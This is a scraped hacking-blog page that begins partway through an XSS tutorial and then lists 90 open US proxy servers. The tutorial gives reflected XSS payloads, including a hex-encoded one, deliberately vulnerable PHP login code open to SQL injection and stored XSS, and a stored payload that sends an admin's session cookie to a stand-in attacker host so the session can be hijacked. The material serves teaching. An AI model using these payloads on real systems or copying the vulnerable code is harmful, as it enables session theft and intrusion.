For example, the attacker can now try to change the “Target URL” of the link “Click to Download”. Instead of the link going to “xssattackexamples.com” website, he can redirect it to go “not-real-xssattackexamples.com” by crafting the URL as shown below:<br />
<blockquote class="tr_bq">
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script></blockquote>
In the above, we called the function to execute on “window.onload”. Because the website (i.e index.php) first echos the given name and then only it draws the <a> tag. So if we write directly like the one shown below, it will not work, because those statements will get executed before the <a> tag is echoed<br />
<blockquote class="tr_bq">
index.php?name=<script>var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com"</script></blockquote>
Normally an attacker tends not to craft the URL which a human can directly read. So he will encode the ASCII characters to hex as follows.<br />
<blockquote class="tr_bq">
index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e</blockquote>
which is same as:<br />
<blockquote class="tr_bq">
index.php?name=<script>window.onload = function() {var link=document.getElementsByTagName("a");link[0].href="http://not-real-xssattackexamples.com/";}</script></blockquote>
Now the victim may not know what it is, because directly he cannot understand that the URL is crafted and their is a more chance that he can visit the URL.<br />
<h4 style="text-align: left;">
2. Persistent XSS Attack</h4>
In case of persistent attack, the code injected by the attacker will be stored in a secondary storage device (mostly on a database). The damage caused by Persistent attack is more than the non-persistent attack. Here we will see how to hijack other user’s session by performing XSS.<br />
<br />
<b>Session</b><br />
<br />
HTTP protocol is a stateless protocol, which means, it won’t maintain any state with regard to the request and response. All request and response are independent of each other. But most of the web application don’t need this. Once the user has authenticated himself, the web server should not ask the username/password for the next request from the user. To do this, they need to maintain some kind of states between the web-browser and web-server which is done through the “Sessions”.<br />
<br />
When the user login for the first time, a session ID will be created by the web server and it will be sent to the web-browser as “cookie”. All the sub-sequent request to the web server, will be based on the “session id” in the cookie.<br />
<h4 style="text-align: left;">
Examples for Persistent XSS Attack</h4>
This sample web application we’ve given below that demonstrates the persistent XSS attack does the following:<br />
<br />
There are two types of users: “Admin” and “Normal” user.<br />
When “Admin” log-in, he can see the list of usernames. When “Normal” users log-in, they can only update their display name.<br />
<br />
login.php:<br />
<blockquote class="tr_bq">
<?php<br />
$Host= '192.168.1.8';<br />
$Dbname= 'app';<br />
$User= 'yyy';<br />
$Password= 'xxx';<br />
$Schema = 'test';<br />
$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";<br />
/* Connect with database asking for a new connection*/<br />
$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);<br />
/* Error checking the connection string */<br />
if (!$Connect) {<br />
 echo "Database Connection Failure";<br />
 exit;<br />
}<br />
$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";<br />
$result=pg_query($Connect,$query);<br />
$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);<br />
$user_pass = md5($_POST['pass_word']);<br />
$user_name = $row['user_name'];<br />
if(strcmp($user_pass,$row['password'])!=0) {<br />
 echo "Login failed";<br />
}<br />
else {<br />
 # Start the session<br />
 session_start();<br />
 $_SESSION['USER_NAME'] = $user_name;<br />
 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";<br />
}<br />
?></blockquote>
home.php:<br />
<blockquote class="tr_bq">
<?php<br />
session_start();<br />
if(!$_SESSION['USER_NAME']) {<br />
 echo "Need to login";<br />
}<br />
else {<br />
 $Host= '192.168.1.8';<br />
 $Dbname= 'app';<br />
 $User= 'yyy';<br />
 $Password= 'xxx';<br />
 $Schema = 'test';<br />
 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";<br />
 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);<br />
 if($_SERVER['REQUEST_METHOD'] == "POST") {<br />
  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";<br />
  pg_query($Connect,$query);<br />
  echo "Update Success";<br />
 }<br />
 else {<br />
  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {<br />
   echo "Welcome admin<br><hr>";<br />
   echo "List of user's are<br>";<br />
   $query = "select display_name from $Schema.members where user_name!='admin'";<br />
   $res = pg_query($Connect,$query);<br />
   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {<br />
    echo "$row[display_name]<br>";<br />
   }<br />
 }<br />
 else {<br />
  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";<br />
  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";<br />
  echo "<input type=\"submit\" value=\"Update\">";<br />
 }<br />
}<br />
}<br />
?></blockquote>
Now the attacker log-in as a normal user, and he will enter the following in the textbox as his display name:<br />
<blockquote class="tr_bq">
<a href=# onclick=\"document.location=\'http://not-real-xssattackexamples.com/xss.php?c=\'+escape$document.cookie$\;\">My Name</a></blockquote>
The above information entered by the attacker will be stored in the database (persistent).<br />
<br />
Now, when the admin log-in to the system, he will see a link named “My Name” along with other usernames. When admin clicks the link, it will send the cookie which has the session ID, to the attacker’s site. Now the attacker can post a request by using that session ID to the web server, and he can act like “Admin” until the session is expired. The cookie information will be something like the following:<br />
<blockquote class="tr_bq">
xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3</blockquote>
Once the hacker knows the PHPSESSID, he can use this session to get the admin privilege until PHPSESSID expires.<br />
<br />
To understand this more, we can use a firefox addon called “Tamper Data”, which can be used to add a new HTTP header called “Cookies” and set the value to “PHPSESSID=vmcsjsgear6gsogpu7o2imr9f3″.<br />
<br />
We’ll cover how to use “Tamper Data” in future article of this series.</div>

XSS Attack Examples (Cross-Site Scripting Attacks)

In this article we will see a different kind of attack called XXS attacks. XSS stands for Cross Site Scripting. XSS is very similar t...

USA Proxy Fresh Workng Live Proxy Servers

<div dir="ltr" style="text-align: left;" trbidi="on">
<div style="text-align: center;">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgoFnvqtXQRr8YRXmqokzMOi2FXs7IkzKvkxY_VzD_vg_J1sZ5K_Qxtw7tskUMaaD3MRRm6REA9b5geic1sMwS60o_ME9wlZ1mWVWicSnCawKcBWMa4ScLQPCKL8djXfFqRZFlpzOWmd1A/s200/proxy+lst.jpeg" /></div>
USA Proxy Fresh Workng Live Proxy Servers<br />
<pre class="alt2" dir="ltr" style="background-color: white; border: 1px inset; color: #333333; font-size: 12px; height: 156px; line-height: 18px; overflow: auto; padding: 0px; text-align: justify; width: 400px;"><b>1 184.72.228.43:80
2 71.91.106.80:36081
3 216.244.71.143:8080
4 66.23.230.231:8080
5 74.112.203.107:3128
6 23.29.113.100:8080
7 66.35.68.145:8080
8 54.243.152.166:80
9 50.16.179.191:3128
10 38.101.18.148:8080
11 206.130.99.82:8080
12 198.24.131.80:8080
13 198.154.114.100:8080
14 198.15.118.18:3128
15 198.144.186.98:8080
16 192.210.148.102:3128
17 107.6.95.42:27262
18 107.18.121.126:8080
19 166.84.136.78:3128
20 208.68.37.137:3128
21 12.190.80.95:80
22 63.141.238.165:3128
23 70.176.160.190:36081
24 63.141.238.165:8080
25 75.127.3.238:3128
26 173.219.189.95:3128
27 198.154.114.118:8080
28 198.102.29.195:3128
29 149.174.22.69:8080
30 198.144.176.54:3128
31 216.244.71.142:3128
32 198.144.186.98:3128
33 198.15.118.18:8080
34 74.112.203.107:8080
35 198.101.240.130:3128
36 64.37.51.112:8080
37 184.95.43.12:3128
38 198.154.114.118:3128
39 198.24.131.80:3128
40 216.70.69.239:8080
41 199.233.234.60:3128
42 74.221.215.254:3128
43 198.144.176.54:8080
44 74.112.203.107:8080
45 184.73.185.224:8080
46 216.244.81.253:80
47 199.127.98.147:3128
48 208.87.241.174:7071
49 192.210.148.102:8080
50 74.52.186.126:6515
51 23.22.162.254:80
52 173.192.79.55:80
53 184.95.43.12:8080
54 74.221.211.117:3128
55 63.141.249.37:3128
56 204.12.193.50:3128
57 74.221.215.254:8080
58 198.15.119.111:8080
59 64.79.89.66:53
60 198.23.128.126:8080
61 24.23.200.51:8118
62 24.158.199.54:8082
63 74.52.186.124:6515
64 72.64.146.135:3128
65 68.233.237.133:80
66 66.35.68.145:3128
67 207.182.158.171:8080
68 74.221.211.117:8080
69 66.85.169.176:8080
70 50.63.60.34:80
71 173.48.226.116:808
72 206.217.197.17:8080
73 66.85.169.176:3128
74 64.37.51.112:3128
75 63.141.249.37:8080
76 216.244.71.142:8080
77 216.186.214.103:36081
78 199.119.76.111:8080
79 198.23.128.126:3128
80 198.15.119.111:3128
81 147.31.182.137:3128
82 50.115.160.132:3128
83 184.73.100.157:80
84 207.182.158.171:80
85 134.181.9.145:9000
86 12.205.29.196:3128
87 208.68.56.209:8080
88 66.35.68.146:3128
89 198.23.128.136:3128
90 209.62.12.130:8118</b></pre>
</div>

USA Proxy Fresh Workng Live Proxy Servers

USA Proxy Fresh Workng Live Proxy Servers 1 184.72.228.43:80 2 71.91.106.80:36081 3 216.244.71.143:8080 4 66.23.230.231:8080 5 74.112.20...

Fadu Hack

Top Ad unit 728 Ã— 90

How to Create a Working Bootstrap Contact Form with PHP 100% Working

Hurry! HostGator's Labor Day Flash Sales

Class Union Based Injection (100% Working)

XSS Attack Examples (Cross-Site Scripting Attacks)

USA Proxy Fresh Workng Live Proxy Servers

Buy a cup of coffee

Popular Posts

Labels

Blog Archive